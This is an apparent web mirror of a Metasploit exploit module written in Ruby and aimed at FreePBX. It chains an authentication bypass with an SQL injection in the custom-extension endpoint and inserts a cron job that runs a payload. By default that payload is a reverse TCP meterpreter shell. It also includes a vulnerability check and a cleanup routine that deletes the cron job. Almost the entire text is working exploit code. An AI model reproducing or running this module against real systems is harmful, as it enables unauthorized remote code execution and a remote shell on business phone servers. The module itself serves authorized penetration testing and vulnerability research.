Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/freepbx_custom_extension_rce.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'FreePBX endpoint SQLi to RCE',
16
'Description' => %q{
17
FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use
18
VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,
19
while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an
20
authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it
21
allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module
22
exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an
23
unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th
24
cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the
25
operating system.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Noah King', # research
30
'msutovsky-r7', # module
31
],
32
'References' => [
33
[ 'CVE', '2025-66039'], # Authentication Bypass
34
[ 'CVE', '2025-61675'], # SQL injections
35
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
36
],
37
'Platform' => ['linux'],
38
'Arch' => ARCH_CMD,
39
'Targets' => [
40
[
41
'Unix Command',
42
{
43
'DefaultOptions' =>
44
{
45
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
46
'WfsDelay' => 70 # cronjob may take up to a minute to start
47
}
48
}
49
]
50
],
51
'Privileged' => false,
52
'DisclosureDate' => '2025-12-11',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Stability' => [CRASH_SAFE],
56
'Reliability' => [REPEATABLE_SESSION],
57
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
65
]
66
)
67
end
68
69
def sqli_custom_extension(payload)
70
send_request_cgi({
71
'uri' => normalize_uri('admin', 'config.php'),
72
'method' => 'POST',
73
'headers' => {
74
'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
75
},
76
'vars_get' => {
77
'display' => 'endpoint',
78
'view' => 'customExt'
79
},
80
'vars_post' => {
81
'id' => payload
82
}
83
})
84
end
85
86
def check
87
res = sqli_custom_extension(%('))
88
if res&.code == 500
89
return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')
90
end
91
92
Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
93
end
94
95
def exploit
96
@job_name = Rex::Text.rand_text_alpha(8..12)
97
98
rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)'
99
rce_payload += " VALUES ('sysadmin','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1)"
100
101
res = sqli_custom_extension(%(1';#{rce_payload} -- ))
102
103
if res&.code == 401
104
print_good("Created cronjob with job name: '#{@job_name}'")
105
print_status('Waiting for cronjob to trigger...')
106
else
107
fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
108
end
109
end
110
111
def cleanup
112
super
113
114
return unless @job_name
115
116
# Remove the created cronjob
117
res = sqli_custom_extension(%('; DELETE FROM cron_jobs WHERE jobname='#{@job_name}' -- ))
118
119
print_status('Attempting to perform cleanup')
120
121
if res&.code == 401
122
print_good('Cronjob removed.')
123
else
124
print_bad("Cronjob #{@job_name} not removed, please perform manual cleanup!")
125
end
126
end
127
end
128
129